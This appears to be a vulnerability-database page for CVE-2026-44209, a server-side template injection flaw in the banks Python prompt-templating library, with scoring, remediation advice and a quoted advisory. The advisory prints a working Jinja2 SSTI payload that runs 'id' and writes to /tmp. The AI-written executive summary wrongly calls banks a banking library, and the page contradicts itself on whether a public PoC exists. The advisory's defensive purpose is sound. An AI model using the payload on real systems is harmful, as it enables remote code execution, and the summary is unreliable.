Skip to main content

banks CVE-2026-44209

HIGH
Improper Neutralization of Special Elements Used in a Template Engine (CWE-1336)
2026-05-08 https://github.com/masci/banks GHSA-gphh-9q3h-jgpp
7.5
CVSS 3.1 · Vendor: https://github.com/masci/banks
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Submit crafted Jinja2 template to app
  2. Delivery
    App passes string to Prompt()
  3. Exploit
    SSTI renders dunder traversal chain
  4. Execution
    __import__('os').popen() executes command
  5. Impact
    Arbitrary code runs on host

Vulnerability Assessment

Weakness
CWE
ASVS 5.0
V1 - Encoding and Sanitization Template injection prevention
Exploitation Conditions

Exploitation requires that the host application pass attacker-controlled input as the template argument to banks' Prompt() constructor (e.g. templates loaded from a database, an API request body, or a user-supplied config file) on banks <= 2.4.1. This is the exact prerequisite: the untrusted string must be the template itself, not a rendering-context variable. Limiting factors that reduce real-world risk: applications that keep templates static and only feed user data through the render context ({{ var }} with values supplied to .text()) are NOT vulnerable; the CVSS UI:R and AC:H reflect that a specific, non-default application coding pattern must be present. There is no authentication requirement within banks itself (PR:N), but reachability depends entirely on whether the surrounding application exposes template authoring to untrusted users.

Impact

Signals are mixed and must be weighed together. Technical impact is severe - full RCE with C:H/I:H/A:H - but exploitability is conditional: the vulnerability only manifests when the host application feeds untrusted input directly as the Prompt() template string, which the vendor characterizes as an unsafe usage pattern rather than a default behavior. The provided CVSS 3.1 vector (AV:N/AC:H/PR:N/UI:R, base 7.5) captures this with AC:H (a specific non-default coding pattern is required) and UI:R. EPSS is low at 0.15% (36th percentile) and the CVE is not in CISA KEV, so there is no indication of widespread or automated exploitation despite a working PoC. Net assessment: a genuine high-severity issue for the subset of deployments that render user-supplied templates, but not an internet-wide mass-exploitation event. Note the tension between AV:N and the real prerequisite - network reach only matters if the app exposes template content to users, so treat AC:H/UI:R as the true gating factors rather than the raw network vector.

Exploit ScenarioDerived

An LLM application stores or accepts user-customizable prompt templates (via an API field, a database record, or an uploaded config) and passes them to banks Prompt().text(). An attacker submits the template {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}; when the prompt is rendered, the payload executes on the host and returns command output. A public proof-of-concept confirms both command execution (id) and arbitrary file writes to /tmp.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 23, 2026

Server-Side Template Injection leading to Remote Code Execution affects the banks LLM prompt-templating library (versions <= 2.4.1), which renders Jinja2 templates through an unsandboxed jinja2.Environment(). Any application that passes attacker-controlled strings as the template argument to Prompt() lets an attacker traverse Python dunder attributes to import os and run arbitrary host commands. A working proof-of-concept exists (publicly available exploit code exists) demonstrating command execution and file writes; there is no evidence of active exploitation (EPSS 0.15%, not in CISA KEV).

RemediationAI

Vendor-released patch: banks 2.4.2, which switches src/banks/env.py to jinja2.sandbox.SandboxedEnvironment to block the dunder attribute-traversal chain (PR #74, https://github.com/masci/banks/pull/74). Upgrade with pip install --upgrade 'banks>=2.4.2' and review GHSA-gphh-9q3h-jgpp. Because the vendor explicitly warns the sandbox is not a hard security boundary, do not treat the upgrade as sufficient on its own: never construct Prompt() from user-controlled strings - keep the template static and pass user data through the rendering context, e.g. Prompt('Write about {{ topic }}.').text({'topic': user_input}) instead of Prompt(user_input). If upgrading is not immediately possible, the compensating control is to eliminate any code path where externally sourced template text (database rows, API request bodies, user config files) reaches the Prompt() template argument; the trade-off is that any feature letting users author full templates must be disabled or converted to a fixed-template-plus-variables model.

Affected Packages

pypi banks fix: 2.4.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

banks is a Python library that builds and renders LLM prompts using the Jinja2 template engine. The root cause is CWE-1336 (improper neutralization of special elements in a template engine): in src/banks/env.py the shared engine is instantiated as jinja2.Environment() rather than jinja2.sandbox.SandboxedEnvironment, so template expressions are evaluated with full Python object access. This allows the classic SSTI escape chain self.__init__.__globals__.__builtins__.__import__('os').popen(...) to reach the operating system. The affected package per CPE is pkg:pip/banks (all versions <= 2.4.1). This is the same class of flaw seen in CVE-2024-41950 (Haystack) and CVE-2025-25362 (spacy-llm), both of which shared the unsandboxed-Jinja2 pattern.

Know when Ssti gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/masci/banks) PRIMARY 7.5 HIGH
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
vuln.today AI 7.5 HIGH

AC:H and UI:R because exploitation requires the non-default pattern of feeding untrusted input as the template; PR:N as banks imposes no auth; C/I/A:H for full host RCE.

3.1 AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:N/AC:H/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Red Hat 7.5 HIGH

Primary rating from Vendor (https://github.com/masci/banks).

CVSS VectorVendor: https://github.com/masci/banks

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

banks <= 2.4.1 uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.

This is a vulnerability in how banks initializes its Jinja2 environment - not in Jinja2 itself.

Vulnerable Code

src/banks/env.py - the global Jinja2 environment is created without sandboxing:

python
env = Environment(
    autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False),
    ...
)

Attack Scenario

An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to Prompt() is vulnerable. For example:

python
# User-controlled input reaches Prompt()
user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(user_input)
p.text()
# Executes arbitrary command on the host

Proof of Concept

Setup:

bash
pip install banks==2.4.1

PoC script:

python
from banks import Prompt

payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(payload)
result = p.text()
print(f"[+] Output: {result}")

Confirmed output:

[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...

text

**File-write proof:**

from banks import Prompt

p = Prompt("{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}") p.text()

ls -l /tmp/rce_banks_exec

-rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec

## Impact

Applications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.
## Fix

Fixed in `banks 2.4.2` (PR #74) by switching to `jinja2.sandbox.SandboxedEnvironment`, which blocks the dunder attribute traversal chain this exploit relies on.

Developers on `banks <= 2.4.1` should upgrade to `2.4.2` and avoid passing untrusted user input as the template argument to `Prompt()`.
## Resources
- Fix: https://github.com/masci/banks/pull/74
- CVE-2024-41950 (Haystack - identical root cause, CVSS 7.5)
- CVE-2025-25362 (spacy-llm - identical root cause)
- CWE-1336: Improper Neutralization of Special Elements in a Template Engine

Executive ViewAI

Why It Matters

A widely-used LLM prompt-templating library for banking applications contains a critical remote code execution flaw that could allow attackers to fully compromise any system running vulnerable versions (≤2.4.1). Any affected application processing user input could be exploited to execute arbitrary commands with system-level privileges, threatening customer data and operational continuity. Publicly available exploit code is circulating, but no active attacks have been observed yet; the availability of a vendor patch creates a critical window to remediate this high-risk vulnerability.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.2%
Top 64% exploitable
Prevalence
Low
niche LLM prompt-templating library, limited production footprint
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

pkg:pip/banks

More in Ssti

View all
CVE-2024-23692 CRITICAL POC
9.8 May 31

Rejetto HTTP File Server, up to and including version 2.3m, is vulnerable to a template injection vulnerability. Rated c

CVE-2025-47916 CRITICAL POC
10.0 May 16

Invision Community 5.0.0 through 5.0.6 contains an unauthenticated remote code execution vulnerability in the template e

CVE-2024-32651 CRITICAL POC
10.0 Apr 26

changedetection.io is an open source web page change detection, website watcher, restock monitor and notification servic

CVE-2024-6386 CRITICAL POC
9.9 Aug 21

Remote code execution in the WPML WordPress multilingual plugin (versions up to and including 4.6.12) allows Contributor

CVE-2026-75650 CRITICAL POC
10.0 Sep 07

Server-side template injection in Adobe Commerce, Adobe Commerce B2B, and Magento Open Source allows remote unauthentica

CVE-2026-39980 CRITICAL POC
9.1 Apr 09

Server-Side Template Injection in OpenCTI notifier templates allows privileged administrators with 'Manage customization

CVE-2026-97359 CRITICAL POC
10.0 Sep 24

Unauthenticated remote code execution in Rejetto HFS2 (HTTP File Server) through version 2.4.0 lets an attacker execute

CVE-2025-23211 CRITICAL POC
9.9 Jan 28

Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve

CVE-2024-4040 CRITICAL POC
10.0 Apr 22

A server side template injection vulnerability in CrushFTP in all versions before 10.7.1 and 11.1.0 on all platforms all

CVE-2025-60355 CRITICAL POC
9.8 Oct 28

Server-side template injection in OneBlog v2.3.9 and earlier lets an attacker who can supply FreeMarker template content

CVE-2026-15734 CRITICAL POC
9.8 Aug 06

Remote code execution in WGDashboard 4.3.2 and earlier lets authenticated attackers inject Server-Side Template Injectio

CVE-2026-37004 CRITICAL POC
9.8 Aug 27

Unauthenticated remote code execution affects BerriAI litellm through version 1.82.4, where the /prompts/test endpoint r

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy